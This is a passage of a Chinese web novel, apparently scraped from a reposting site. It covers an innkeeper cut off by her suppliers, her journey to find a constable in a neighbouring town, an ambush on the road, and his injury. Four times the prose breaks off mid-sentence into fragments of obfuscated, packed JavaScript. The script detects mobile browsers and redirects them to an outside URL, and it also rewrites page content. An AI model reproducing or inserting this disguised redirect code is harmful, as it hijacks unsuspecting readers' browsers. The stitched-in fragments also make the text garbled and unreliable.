还有他手里那盅喝了一半药膳汤。 “等等。”她坐下,瞪大了双眼盯着正喝药膳汤的李弦,质问道,“你又玩的什么花样?” 李弦一口气将剩下的药膳汤都喝了,慢悠悠从袖袋里摸出一张字条,压在桌上,用指尖抵着推给黎映真。 她打开一看,上头写的是十五。 “你!”怕动静太大被人发现,黎映真赶忙攥紧了那张纸,怒指着李弦,压低声音道,“你当众作弊,换了我的纸!万一被人发现,无信不立,我这生意还做不做了!” 可算想起来了,刚才率先给自己捧场、引导其他客人情绪的那个食客就坐这儿。 就是二十八号。 他跟李弦是一伙儿的! 李弦抱臂,拿身前的桌子借力,向黎映真凑近些,同样看着她,问道:“你是气我作弊不老实,还是气我拿你这客来居开玩笑?” 她又忙得没顾上收拾自己,满脸细汗,额角还粘着碎发。 旁边打开的窗户缝里漏了一缕秋光进来,照在她脸上,看着亮晶晶的。 全都落在了他眼里。 “我当然……” 话到一半却噎在喉口,不知是不是李弦这会儿玩笑却不知为何看着有些认真的样子与以往不同,便是让她语塞。 腔子里像是被塞了只兔子,扑通扑通的,跳得有些厉害。 “这汤不错。” 听见李弦的夸奖,就算只当他恭维,黎映真的嘴角也忍不住翘了起来,颇为得意道:“这是自然。” 转眼又想起李弦当众使诈的大胆行径,她指着他放狠话道:“下回再在我在这儿胡来,以后我见你一次就打你一次。” 李弦没拿她的话当真,笑道:“整活嘛,你说的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943883|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>又起身道:“夜里过来,有劳黎掌柜留上次那间客房给我,还空着吧?” “知道了。”黎映真也起来。 “我就知道我福运双至,不会连个住的地方都没有。” 听见李弦拿她说过的话堵自己,黎映真白了他一眼,旋即忍不住笑了出来。 等到了夜里,李弦再来客来居时已近亥时。 客栈关着大门,但透过门扇能瞧见从里头透出的光,显是有意给晚归之人留的。 听见门臼转动的声音,黎映真从柜台后头探出头。 大堂里的灯不亮,外头也是黑漆漆的,她眯起眼睛仔细分辨,才终于看清来的是谁。 “这个时辰还不睡?”李弦一面关门一面问。 “你说了晚上过来,可不得等你到了才行。”黎映真低头继续写着什么。 李弦笑道:“关了门,我就进不来了?” 她写完收笔,脑海里浮现出他们初遇那天李弦趴在墙头的情景,不禁抬头瞥了他一眼。 从那天开始,事态发展便出乎意料。 她被外力推着只能往前走,又跟李弦有了牵扯,有些事想不明白,姑且只当做缘分使然了。 放下笔,黎映真从柜台后头出来,却是往后院走,答非所问道:“炉上热着菜,吃不吃?” 有人脸上笑开了花,顺势找了空桌子坐下。 黎映真很快拿了两道清淡小菜上来,见李弦不客气地吃起来,她也不觉得这人不讲究,反而有些高兴。 这种感觉说不上来原因,但至少能让她在这个陌生的时空里感受到几分别样的温暖。 “白天的事,还是要多谢你。”她垂眼想了想,以往明丽坦诚的笑容忽然变得拘谨起来,连看李弦的目光都比以往小心仔细,“其实你确实算是我的福星。” 正动筷的手一滞,李弦没放下碗筷,只是这样看着她,片刻后继续吃。 那样子看起来比先前吃得更香。 倒完谢算是给今日的事做了了解,黎映真起身去搬门板,要正式打烊了。 李弦三两口将剩下的饭菜往嘴里送,立刻去帮忙。 “我明日要离开县里。” “去哪儿?办周嫂的案子?” “这么直接就想从我这打探公务?” “你先起的话头,怪我多嘴接。” 两人彼此呛声地说着话。 放完了门板,黎映真去收拾桌上的碗筷,又听李弦道:“得几天不能回来,有事你就找老梁。” “我遵纪守法好县民,没事上衙门找捕快做什么。”黎映真拿着碗筷要去后院。 幽幽烛火中的身影却又停下,她转身,狐疑地打量起李弦来:“不对。” 李弦把凳子塞回桌下,走到黎映真身边,问道:“哪里不对?” “你明天就走,今晚不回去收拾行李,来我这儿住?” “不可以吗?” 越想越不对劲儿,黎映真走近一步,盯着李弦信誓旦旦道:“你有问题。” 李弦不闪不躲,眉眼舒展,任由黎映真将自己从头到脚翻来覆去地观察。 甚至于,他退开些,张开双臂,在黎映真面前转了两圈,道:“那倒是要请黎掌柜来查查我哪里有问题了。” 他退的位置靠近柜台,视线往里头一瞟,果真瞧见那本合上的账本。 账本下头,还像是压着什么东西。 她在等他,但也不是只在等他。 15. 第 15 章 李弦走后,黎映真照旧经营客栈,也依然为客栈的生意犯愁。 金刀破煞后,虽然依旧有关于客栈和黎映真的流言散播,但总算没带来太过直接的负面影响。 但世事总不会如人意,客来居的日子也不会一直安生下去。 这日暮色将至,见没什么客人,客栈提前打烊,黎映真跟阿桃核对完前三日采购食材的账,两人皆愁眉不展。 “掌柜的,这账总是好不了,怎么办?”阿桃对着账面上越来越多的支出款叹了口气,“也没听哪里闹灾收成不好,或者是有猪瘟、鸡瘟什么的,怎么现在菜钱贵了这么多。” 采购食材的资金不算是突然涨起来的,黎映真对比过这段日子的账目,是食材商们一点一点地加,才没有让人一下子觉得价格不能接受。 其中一定有问题,但她不确定是不是真的是自己猜测的那些人从中作梗。 “掌柜的!”吴二从外头回来,两手空空,沮丧道,“王记米铺说今年的新米还没到,库里只有陈米。” 黎映真眉头一蹙,问道:“有陈米你还空着手回来?” “别提了。”吴二整张脸到脖子都发红,重重坐在黎映真身旁的凳子上,瓮声瓮气道,“人家王掌柜说了,有陈米也不卖。” “为什么?咱们又没赊账不给,再说,前几次王掌柜跟夫人来咱们客栈,还都给了折扣呢。”阿桃不服气道,转头又问黎映真道,“掌柜的,我没说错吧,少收他们钱,是叫给折扣吧?” 黎映真忍俊不禁,点头称是。 转念又有愁云爬上眉心,她问吴二道:“那庄屠户、钱嫂那儿也都不卖?” “是了!”吴二重重点头道,“钱嫂说她家菜地被方家包圆了,一根菜叶子也匀不出来。庄哥嘴上没说,可他婆娘一个劲儿在旁边打眼色,瞎子都瞧出来了。” 孙伯也从外头进来,沉着脸,唉声叹气的。 阿桃沉不住气,跑上前问道:“孙伯,怎么样,济世堂那儿肯卖药材给咱们吗?” 孙伯两手一摊,摇头道:“莫名其妙,当归都缺货,而且不光今天缺,往后都缺!” 看着孙伯一把年纪都动了火,黎映真想他在药材铺也许还发生了其他事。 她上前,扶着孙伯坐下,道:“缺货而已,不怕,县里好几家铺子,我多跑跑。如果县里没有,我就去邻县,大不了以后辛苦点。主要是咱们这镇店之宝别因为外人把自己气着了。” 听了这通安慰,老厨头脸上的皱纹才算展开了几分。 “掌柜的,你说究竟怎么回事?”孙伯又叹了一声。 “会不会真有什么脏东西?”吴二鼠头鼠脑地左右张望着,煞有介事道,“不然怎么平日里都和和气气的,忽然就变了脸?要不,咱们去找菩萨拜一拜?去去晦气?” 先是食材涨价,再是那些供应商拒绝合作,这样一来让本就库存紧张的客栈雪上加霜,如果没有破解之法,那也是巧妇难为无米之炊。 因着黎映真没接话,大伙儿便以为她也认同了吴二的说法。 阿桃便提议明日他们就一起去庙里拜拜。 但无人应声。 黎映真的指尖无意敲击着台面,沉闷的哒哒声在此时过于安静的大堂里格外清晰。 她脸上没什么表情,可眼底却像是随着那哒哒的声音渐渐聚拢出浓重的愁云来。 “我们手里的库存还能支撑多久?”她问道。 “菜和米还有大概两三日的量,可鸡鸭、猪肉这些都是新鲜的,最多也就能撑到明天。”阿桃沮丧道,“掌柜的,就算我们去其他县买,想也来不及。” 又是流言污蔑、又是涨价逼她减少库存,现在直接断供,显然是有意针对的商业绞杀,整个成安县能这么恨她的,应该没有第二个。 心里认定了是谁暗中搞鬼,黎映真却也不可能立即就有完美的解决办法。 “阿桃、吴二,你们俩现在分头出去,找那些小摊贩,零散农户,问他们收东西,我给你们拿钱。” 她从柜台的抽屉里取出放账本和客栈资金的匣子,斟酌着拿了两份银子出来,分别交给阿桃和吴二,道:“我尽量多给一些,只要那些摊贩农户出的价格你们可以接受,能买多少就买多少,先应急。” “孙伯。”她转头看着同样愁容满面的老厨头,“你再看看后厨还有什么能撑场面的,我们商量几个精简套餐,客栈暂时只供应固定搭配的套餐,直播间也暂停,我马上写公告,就说客栈研制新菜品,近期试营新模式。” 安排完应急措施,黎映真还是愁眉不展。 等和孙伯商量完精简套餐,又等吴二和阿桃回来,确定了客栈的存货,这一晚上也已过去将近一半的时间了。 第二日清早,黎映真早早出了客来居,在对面赵叔的茶摊找了个位置坐。 赵叔摊摆了有些年头,他人缘又好,往来走商的、或是领里街坊没事时都会过来坐坐,这天儿也就自然而然聊起来了。 要了一碗粗茶,黎映真忍不住打了个哈欠。 赵婶过来送茶时发现她整个人看来都蔫蔫的,于是好心问道:“黎掌柜这是怎么了?夜里没睡好?” “可不是。”黎映真喝茶的样子有些狼吞虎咽。 清早多是赶着早市的货郎商贩从茶摊前经过,没什么空闲的人,茶摊这会儿就只有黎映真一桌客人。 赵婶趁着闲,又跟黎映真算生意上的“邻居”,出于好意,便坐下关心起来:“怎么没睡好?是有难事?跟婶子说说,万一能帮你呢。” “赵婶有心了。”黎映真把剩下的茶都喝了,一脸丧气道,“不知我这客栈得罪了哪路神仙,平日给客栈供货的王掌柜、庄屠户、钱嫂他们都不卖货给我了。” 赵婶听着,眼波一转,显然想起了什么。 她张望一阵看没人注意,于是凑近了黎映真道:“我这也是听来的,不保真,黎掌柜听完也就过去了。” “这是自然。”黎映真连连点头。 “我前头从在我这儿喝茶的客人那儿听了点风声,说是有人打了招呼,不准卖货给客来居。” 心头一凛,黎映真拉住赵婶问道:“赵婶可听见是谁打了这个招呼?” 赵婶下巴一抬,正指了西边的方向:“方家那个宝贝儿子。” 县里西面的方家,家主在附近商会有些关系,那倒真是在县里说得上话的人,否则之前方家老太爷过大寿,也犯不着特意搭了戏台,撑那么大的牌面。 可黎映真不明白,自己这么一间破落小客栈,怎就惹了方家的人不高兴。 许是看出黎映真的疑惑,赵婶继续道:“黎掌柜是总在客栈里待着瞧不见其他事。我都看见两三回了,上次在客栈门口闹事那个……是你本家弟弟吧,跟方家少爷同进同出呢。” 果然是黎文远在暗中使坏? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948426|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >得了这样的消息,她却不见得高兴。 因她更想和黎家的人撇清关系,好好经营客栈,好好地在这个世界活下去。 “黎掌柜,这么早出来喝茶?”老梁打茶摊前经过,公服在身,往衙门去的,看样子是刚巡完早市的街。 “梁捕快辛苦,我请你喝茶。”说着,黎映真亲自给老梁搬了凳子。 眼看回衙门交值还早,老梁却之不恭。 等赵婶上了茶,黎映真跟老梁聊了起来,无外乎问问他今日早市的情况。 她这才知道,最近有一伙人从外地来了成安县,私设地下赌场,前前后后闹了些麻烦,衙门抓了好几拨人,县里一些有头有脸的人也牵涉其中,有些还是一块儿抓。 衙门因此加派了人手巡街,尤其是开市期间,防着那群人闹事。 话说到这儿,老梁点到即止,视线有意从去招呼其他客人的赵婶身上拐了一圈,冲黎映真点点头。 这暗示意味深长却也不难猜。 黎映真明白了他的意思,却忽然左顾右盼起来,这才听老梁笑道:“干我们这行的要耳聪目明,否则如何能办好差事?” 知道老梁是有意相助才过来,黎映真更加感激。 “不过要说光耳聪目明还不够,得跟李哥那样,闻达八方,那就做什么都是一把好手了。” 提起李弦,老梁便是一脸钦羡。 黎映真道他分明比李弦大上几岁,这会儿却像极了李弦的小迷弟。 但想起李弦一走也有些日子了,得了这机会,黎映真试探着问道:“李捕快外出公干可有消息送回来?” “这倒没有,他这趟差神秘得很,想是县令都不大清楚。” 黎映真颇是意外,道:“他还有这种能耐?” “啊!”老梁用力点头,拍了拍胸脯,竖起大拇指,满脸骄傲道,“我们李哥,厉害着呢。” 黎映真笑着应声,一来是给老梁面子,二来也是有了些新的盘算。 “你刚才说,李捕快他,闻达八方?” “对啊,李哥只是喜欢在咱们县当捕快,他要是不喜欢了,去别的地方一样吃得开。” “他在临近的几县也有人脉?” “想是有的,听他说过附近一带都有朋友。” 越琢磨越觉得自己的想法有可行的希望,黎映真不觉嘴角已有些翘起。 她看了看正喝茶的老梁,试探道:“就是不知李捕快的朋友,是不是跟他一样正气凛然又不畏强权?” 话到这儿,老梁也明白了她的意思,这却不是他能做主的事。 “还是等李哥回来,你亲自问他吧。”老梁劝道。 “我等不及。不快点解决眼下的麻烦,等他回来,也许就没有客来居了。” 这话有些危言耸听,但不说得严重些,她怕老梁不肯帮忙。 见老梁为难,已有动摇之色,黎映真继续添把火,道:“李弦走前嘱咐我,若有困难可以找梁捕快你,证明他也是跟你有过交代的。 “我现在确实遇到了麻烦,想去找李弦。 “梁捕快,能告诉我李弦在邻县的落脚处吗?” 一阵尖锐的警报声突然在黎映真脑海中响起。 这次没有令人讨厌的金属声,但却有一行红字随着那强烈的警报声出现—— 离开成安县核心区域即断联,若系统长时间检测不到信号,将直接抹杀。 16. 第 16 章 老梁留了李弦在茉城的住处给黎映真。 可如今看着纸上的字,她却犯了难。 留在县里,客栈没有供货商,断了货,生意难续,完不成任务要被系统抹杀。 离开成安县去寻找新货源,系统断联时间太久也要被抹杀。 问题的关键是,在给出提示后,系统并没有明确所谓的“长时间检测不到信号”具体是多久。 早市后,客栈里人多了起来,黎映真帮着招呼,却因为心事重重总在走神。 阿桃看她心不在焉就让她去休息。 她在柜台里坐着,想着,渐渐意识飘忽起来。 “搭档,这几天热度值下滑得厉害,如果清零可是非常危险的。”混沌虚空里,系统终于出现。 “我有让热度值上升的办法。” “不能离开中心区。” “那一起等死吧。” 一阵尖锐的金属报错音突然充斥在周围的空间里,听得黎映真挠心挠肺的难受。 “搭档,变通!做任务要变通!”系统显然着急了,“可以考虑回去找黎家帮忙。” “你才要懂得变通,帮我操作一下。” 虚空中一片沉默,周围安静得像是系统完全离开了一样。 但黎映真知道,自己没离开这个空间,系统就还在。 她对着眼前的混沌,正色道:“给我点时间,我去茉城找李弦想办法,你也不想自己出师未半就回炉重造吧?搭档?” 四下仍然死寂,但黎映真依旧没被传送出去。 还有机会。 “要多久?” “系统判定断联的最短时间是多久?” “五个小时。” “持续多久断联判定抹杀?” 系统没有回答。 那就是中间确实有可以操作的空间。 黎映真打定了主意:“给我七天时间。” “三天。” “五天,往返还要时间,你是我的搭档,应该帮我多争取机会。” 又一阵沉默后。 “好,五天。” “从明早八点开始计时。” “可以。” 她在心里长舒一口气,暗道这讨价还价的功夫还算没退步。 和系统交涉完,黎映真立刻去准备未来五天的计划。 她将客栈暂时托付给阿桃和孙伯,找老梁去向守城的侍卫讨了个人情,准备半夜动身离开成安县去茉城。 听见黎映真确实要去找李弦,老梁不光帮她找了城卫,还找了代步的马车。 黎映真正想谢他心细,他却摆了摆手,道:“李哥说黎掌柜说风就是雨,该准备的他就提前都准备了。” 她失笑,这人帮人就帮人,怎么还要在别人跟前损自己一句,那这声谢,她也就省了吧。 距离出发的时间比较紧迫,安排完所有的事,一天已然过去。 忙碌的时候,黎映真不见得对这趟出行有多顾虑,真当一个人坐在客栈里等着和车夫碰头时,那股担忧才开始涌上心头。 五天,说长不长,尤其在茉城人生地不熟,就算有李弦在,她也没有十足的把握能找到原料商。 茉城,也是在附近商会的势力范围里,只是不知方家的手会不会能连那儿的天也遮住。 到了约定的时间,马车如约停在客来居外。 黎映真背着一个小小的包袱,在夜色中快速钻进了车里。 车子自从出了成安县就一路狂奔。 他们抄的小路,夜里更不好走,车夫驾车的技术再好也少不得路上颠簸。 黎映真一晚上没睡又这样匆忙地赶夜路,第二日天亮时,整个人都蔫在了车里,已管不得身下的马车究竟是什么情况,只盼着赶紧进城,快些见到李弦。 马车停下的时候,黎映真已难受得脸色发白。 不再颠簸后,胃里那股翻江倒海的劲儿更是明显。 实在忍不住,她从车里跳下,跑去路边草丛吐了个天翻地覆。 缓过了那阵难受,她才觉得好一些,但整个人感觉轻飘飘的,手脚都控制不住地发抖。 拖沓着脚步到路边的大树下,她重重跌坐下去,靠着树干大口大口地喘着气。 秋天清早的天气凉,晨风也带着凉意,拂面吹来,倒是逐渐吹散了那阵不适。 “跑了一夜,让马歇歇,等穿过前头的山林,就到茉城了。”车夫这会儿正吃着干粮补充体力。 黎映真含糊地应了一声,连抬头的力气都剩不得多少,只看着从自己脚下蜿蜒向远处的山道。 尽头处是葱茏的山林树木,阻碍着视线,根本看不到所谓的县城。 这会儿除了他们,连个人影都没瞧见。 短暂歇过后,黎映真带着并未完全消失的不适感又上了马车继续赶路。 日头逐渐大了起来,但车子进入那片树林后,有树冠枝叶遮着,视线并不敞亮。 黎映真趴在窗口,看着眼前幽深的林隙,听着车轮撵着地上落叶枯枝的声音,蓦地生出一丝不安来。 “咻!” 一支弩箭毫无征兆地从一旁的树丛中疾射而出,正中车厢壁外侧。 听见车夫大喊“坐稳”,她还没来得及反应,一记响亮的鞭响后,马车又开始疾驰。 山林里道路更加崎岖,黎映真坐在角落里,双手用力扶着两边的车厢壁,身子依旧晃动不止。 整辆车都在疾行中不停发出的声响,仿佛随时会散架似的。 “夺!” 又一支弩箭射来,虽然没有射穿车厢壁,但随之带来的震动就在黎映真手边的位置。 这近在身边的危险,让她第一次有了真正害怕的感受—— 只这一下,中衣已被冷汗浸湿。 弩箭射中马车的那一刻,她的脑海里瞬间一片空白。 黎映真还沉浸在慌恐中,马车车轮撞上一块大石头,车身倾斜得厉害,她顺势滚了出去。 马儿的嘶鸣和车夫惊慌的叫声同时传来。 她爬向车门,掀开帘子的瞬间,一道黑影从眼前闪过。 “啊!” 箭头刺中车夫,他惨叫着倒了下去。 失去了控制的车被受了惊吓的马带着疯狂向前驶进。 黎映真试图去够勒马的缰绳,却因为不断射来的弩箭只能退回车厢里。 又一次剧烈的颠簸,黎映真整个人都被震得像要弹飞起来。 摔下来时,浑身的骨头疼得跟要散架似的。 不得已咬牙忍着那一阵阵钝痛,她还想做些什么自救。 忽然,有个人影扑到车上,隔着帘子,她看不见究竟是谁。 惊慌中,她抄起自己随身的包袱就要打。 “你没事吧?” 熟悉的声音传来。 是李弦! “没事。”她立刻回答,尽量稳住身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952538|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往车门口靠去。 “别出来。”李弦显然在使劲儿,说话都咬牙切齿起来。 第一次遭遇这种危险,手足无措的黎映真选择相信李弦。 她抱紧了怀里的包袱,后背贴着车厢壁,在尽量靠近门口方便行动的地方待着。 依然有弩箭不断从暗处射来,“夺夺”的声响一次又一次传来,也震慑在黎映真心头。 她只有用力地抱住随身的行李,从思想到身体全都达到了前所未有的紧绷状态,好似只有这样才觉得觉全一些。 高亢的马嘶声传来,一并还有李弦大喊:“出来!” 她毫不犹豫,掀开车帘。 身体忽然间失去了控制,被另一股力道重重地钳制住。 视线里瞬间天旋地转起来,她根本不知究竟发生了什么。 “唔!” 耳边是李弦的一声闷哼。 “李弦!” “没事。” 感觉到护在自己后腰和后背力道有所松动,黎映真立刻退开想要起来,身子却被用力拉下。 整个人又被刚才那股暖意包围的瞬间,她下意识地闭上眼,仿佛只要往那温暖的深处钻,就能免于周遭的危险。 不等她意识到究竟发生了什么,耳畔又传来李弦的指令:“跟我走。” 她立刻起来,由李弦拉着,在树林深处快速寻找着出路。 一切发生得太突然,她毫无准备,除了恐惧惊慌,眼下已没了多余思考的能力。 所幸李弦及时出现,但她此刻却根本顾不上去思考他为什么会出现在这里。 未走出多远,草丛里蹿出七八个手持长刀的蒙面人。 就在同时,黎映真只听“锵啷”一声,就见李弦的手里已握了出鞘的佩刀。 曾经总见李弦佩刀的样子,她却只当那武器是个装饰。 但此刻看他手中寒光四溢,凌厉似他此刻眉眼神情,竟与平素截然不同。 那几人一齐围上来想要以多欺少。 李弦将黎映真死死护在身后,手里一把长刀舞得毫无破绽,精准格挡开来人的攻势。 刀锋相抵,火花四溅,金铁交击之声在山林间激烈回荡。 擦身而过的刀锋寒意不断刺激着黎映真本就慌乱的情绪,她不发一言,集中精力跟在李弦身后,不想成为他的拖累。 可她到底是女流之辈,身法动作不及李弦灵动矫健。 虽有李弦护着与那群人边打边退,但没多久,她开始体力不支,有些难跟上李弦的脚步。 “再坚持一会儿。”李弦道。 其实她已听见林子里其他地方出来的打斗的声响,猜到是援兵正在赶来。 感觉到握着自己的那只手又紧了一些,她点头道:“嗯,我可以。” 蒙面人继续展开攻势,黎映真依旧拼尽全力跟着李弦与他们周旋。 无奈援兵迟迟不到,她的体力已将耗尽。 实在跟得吃力,视线也开始变得模糊发黑。 肩头扶上一只手,熟悉的暖意扑面而来,她却觉得脑袋重得如何也抬不起来。 身子被一股力带着往后退了几步,耳边杂乱的声音都模糊起来,她只觉得有什么东西挡在自己身前。 耳边擦过一阵热息,像是有人在说话,可她什么都听不清,只是顺着压向自己的那股力倒了下去。 意识飘忽得身体都没了任何知觉。 “李弦……” 17. 第 17 章 刀剑击鸣不绝于耳,却无从辨别方向,将黎映真围堵其中。 她无路可走,只能任由那声音由远及近,慢慢将自己吞没。 “跟我来。” 熟悉的声音穿过纷繁杂乱的声响而来,肩头像是被人拍了一下。 她随之转身,脱口而出道:“李弦!” 睁开眼睛的瞬间,一张陌生的面孔出现在视线中。 “啊!”黎映真下意识躲开,戒备地盯着床边的姑娘,“你是谁?” 她松了口气,站起身道:“中气挺足,这下李哥可以放心了。” 见她要走,黎映真忙喊道:“等等,你说的李哥……是李弦?” “难道还有第二个李哥替你挨刀?”姑娘双手插在腰间,冲房门口扭了扭脖子,“是先吃东西还是先去看李哥?” 黎映真手脚并用地爬下床,拿了床尾架子上的外衫,一面系衣带,一面道:“去看李弦。” “算你有良心。”姑娘笑道。 跟着那陌生姑娘到李弦房间时,黎映真才发现房里还有其他人。 都是她不认识的,在知道她来了之后也都借口出去了。 房里很快只剩下她跟李弦,起初谁都没说话。 床边坐着的人披着外衫,脸上气色比在成安县时差了好些。 在他身边站着的黎映真低着头,双手搅着衣角,目光却还在方才那些人离开的方向停留。 “咳咳。” 听见李弦佯咳的声响,黎映真才想起自己来做什么的。 视线落去他身上,见他这副衣衫不整又好似不如以往灵活的坐姿,她坐在床旁的凳子上,关心道:“你的伤怎么样?” “阿琳没跟你说?” “她要我自己看。” 说着,目光在李弦身上跑了好几个来回,没发现再多的问题。 她又伸长了脖子往他身后看。 “这里。”李弦指着自己左肩,“挨了一刀,也不知要养多久。回头还能不能接着回衙门干活。” 想他为了救自己才受伤,黎映真心中感激又愧疚。 加上劫后余生,她还没完全从后怕里缓过神,听李弦这样说,她有些急了,问道:“这么严重?是我耽误你的事了。” 她垂着眼,目光没瞧见的地方,李弦嘴角勾起,又很快压住,一副劝她的姿态,道:“也不见得吧。” “这话怎么说?”黎映真抬起头,惊疑地看着李弦。 “错有错着,算你将功补过了。” 见李弦要起身,黎映真先站了起来。 看他朝桌上的茶壶使了个眼色,她立即去倒茶,再递给李弦,问道:“老梁说你做的事儿连县令都不清楚,你居然这么厉害?” 托着茶杯,李弦这会儿倒不急着喝了,又是那副笑吟吟的模样,看着黎映真。 这人看着当真不像受了伤,偏她是跟着他从刀光剑影里脱身的,虽不曾亲眼瞧见他的伤,但想也不用他联合了外人来诓自己。 想来想去都是自己麻烦了李弦,黎映真便琢磨着怎么开这个口。 “老梁的飞鹤传书到了,这会儿人也到了,怎么反倒不说话了?”李弦这才喝了口茶,喝完了,还托着杯子,指腹在杯壁上摩挲,“难道黎掌柜千辛万苦来一趟,就为了夸我一句厉害?” 说着,他又喝了口茶,啧啧道:“那我便却之不恭了。” 黎映真见状,猜他伤势应该不算重,而自己的时间不多,她就不再浪费时间了。 又坐回凳子上,她将客栈遇到的问题以及自己来的目的详细跟李弦说了一遍。 李弦边听边喝茶,听完了,杯子也空了。 黎映真不知他几时热衷喝茶,这会儿还意犹未尽,便帮他添了一杯。 李弦不客气,又喝了几口茶才道:“我这会儿行动不方便,货源的事让阿琳帮你,她是这儿的捕快,知道怎么办。” “女捕快?”黎映真惊道,“好厉害。” 这一声惊叹里满是歆羡与钦佩,听来格外真诚。 李弦闻言却是挑眉,扬了扬下巴,道:“那她也得叫我声李哥。” 暗道这人莫名其妙,但这看来不服气的样子虽有些幼稚,可黎映真看着竟觉得有一丝…… 可爱? 真像老梁说的,李弦不光在成安县吃得开,来了茉城一样说得上话。 有了他的交代,阿琳立即着手联系了城里几家铺子,跟黎映真协商了时间后依次进行拜访。 午后,她就由阿琳引荐见了两家铺子的掌柜,从外头回来时太阳都快落山了。 提着茯苓糕,黎映真去找李弦,但房门紧闭,她贴耳上去听,这才知道李弦又在跟那些“朋友”筹谋大事。 安安静静在外头等着,多时才听见打开房门的声音,她这才得以进去。 李弦还跟白天那样坐在床边,但身子有些佝偻,右臂扶着床沿,像在勉强支撑的样子。 “你怎么了?”黎映真担心起来,“我去叫大夫。” 李弦拉住她,道:“不用。一伙人挤在一起大半日,房间又不透风,憋的。” “那我去开窗。”她转身要走,这才注意到李弦拉着自己的手。 他没用什么力气,可就是这手掌握着她的手腕,掌心的温度透过衣袖传来仿佛是给他加了劲儿。 否则黎映真怎么觉得腕上酥酥麻麻的。 视线落在她手里的茯苓糕上,李弦松开手,问道:“给我带的?” 黎映真没答,直接将糕点轻轻丢在他怀里,转身去开窗。 晚风入户,凉意吹散了前一刻涌上心头的燥热。 墙头还留有最后一丝橙金色的夕阳,当那点颜色消失,她就只剩下四天的时间了。 “今日还顺利吗?”李弦的声音从身后传来,鼓鼓囊囊的,显然嘴里有东西。 “不算顺利。”她站在窗口,望着墙头已渐落寞的光线,不知自己说出这话时,也有如那沉下的夕阳一样的惆怅。 可当视线落下,看着扶在窗台上的手,想起自己今早才由李弦牵着这只手险死还生,她又道:“不过还有机会,我明日还要跟阿琳姐姐去多见几家铺面的掌柜。” “这就叫上姐姐了?”李弦津津有味地吃着茯苓糕,再看看怀里剩下的,问道,“你要不要也吃点?” “给你的,你就好好吃吧。”黎映真转身往床边走。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960081|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知是不是受了伤的缘故,她觉得这会儿的李弦比之前听话得多,让他吃茯苓糕,他就真老老实实地吃。 倒了茶放去床边给李弦备着,黎映真坐下。 “这次真的很感谢你,李捕快。” 她不知应该做些什么才算得上对李弦的知恩图报,但至少认真地表达谢意,是她眼下最应该做的事。 不防她忽然如此,李弦动作一滞。 他抬头,发现往日外放泼辣的黎映真这会儿正襟危坐,一双手放在膝上,低着头,看来拘谨极了。 多看了几眼,嘴角便忍不住地往上翘,他故意往嘴里塞了半块茯苓糕—— 她要他好好吃的嘛。 “嗯。”似是而非地应了一声,李弦拿起杯子喝水。 黎映真看着他,因为确实在乎这件事,认真起来便不觉睁大了双眼,道:“我眼下时间紧,茉城的事跟你救我的恩情,等过了这个节骨眼,我一定报答你。或者你想想,我能为你做什么,只要我能办到的,我一定尽力。” “嗯嗯。”李弦这次不止应声,还连连点头。 嘴里茶水混着茯苓糕终于咽了下去,正要开口,视线落在黎映真圆溜溜又诚意十足的一双眼眸里,他却登时忘了自己要说什么。 见他这副发愣的样子,黎映真忍俊不禁。 轻轻的一声笑在两人之间响起,她终于回了神,发觉因着日落,屋子里暗了许多,都有些看不清李弦的样子了。 她去点灯,问道:“是我疏忽了,大夫可说过你的伤要多久才能恢复?” 烛火亮起,黎映真借着灯光回头去看,却见他眉心蹙了蹙,又很快舒展开,像是在隐忍着什么。 想起刚进房时他的样子,黎映真回到床前,俯下身,盯着李弦笃定道:“你刚才说谎。” 从她身上收回视线,李弦扭过头,道:“虽是一天没出门,但脑子没少动,累了而已……” 话音未落,黎映真的手背已贴上他的额头。 往日身手敏捷的衙门捕快,却没躲过这次突然袭击。 李弦额上传来的温度明显高于正常体温,黎映真沉下脸,道:“老实待着。” 说完,转身就出去找大夫。 黎映真领着阿琳和大夫回来时,李弦已自觉趴在床上。 他眉头皱得紧,如今也不说话,看得出来确实不舒服。 大夫查看过后,说是伤口没处理好引起的发热。 